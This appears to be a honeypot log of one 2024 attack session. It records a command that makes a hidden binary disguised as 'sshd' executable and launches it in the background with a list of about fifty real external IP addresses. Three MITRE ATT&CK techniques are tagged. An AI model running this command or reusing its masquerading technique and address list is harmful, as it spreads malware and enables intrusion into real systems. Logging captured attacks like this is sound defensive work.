Honeypot attack session (period 2024), commands issued:
chmod +x ./.6049242317946567982/sshd;nohup ./.6049242317946567982/sshd 45.192.73.146 208.65.84.32 194.59.247.146 58.186.21.49 45.192.69.240 107.174.250.150 133.114.195.200 45.192.65.239 3.87.156.107 80.151.78.147 45.192.69.224 111.74.23.213 45.192.77.130 45.192.77.235 81.200.152.66 45.192.65.200 65.1.148.207 45.192.65.211 15.207.220.76 45.192.65.154 185.166.39.122 1.238.116.98 18.61.27.146 45.192.65.131 45.192.77.210 49.13.168.123 143.198.110.204 93.123.118.112 45.192.77.196 34.105.208.220 182.151.25.46 54.226.120.50 107.173.101.123 45.192.65.129 3.26.99.180 139.59.16.168 162.240.149.176 45.192.65.138 117.161.233.102 222.77.96.62 45.192.73.189 45.192.77.221 114.113.151.152 45.192.65.180 45.192.65.174 45.192.73.177 45.192.73.172 45.192.77.153 45.192.73.238 45.192.73.169 52.54.121.20 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter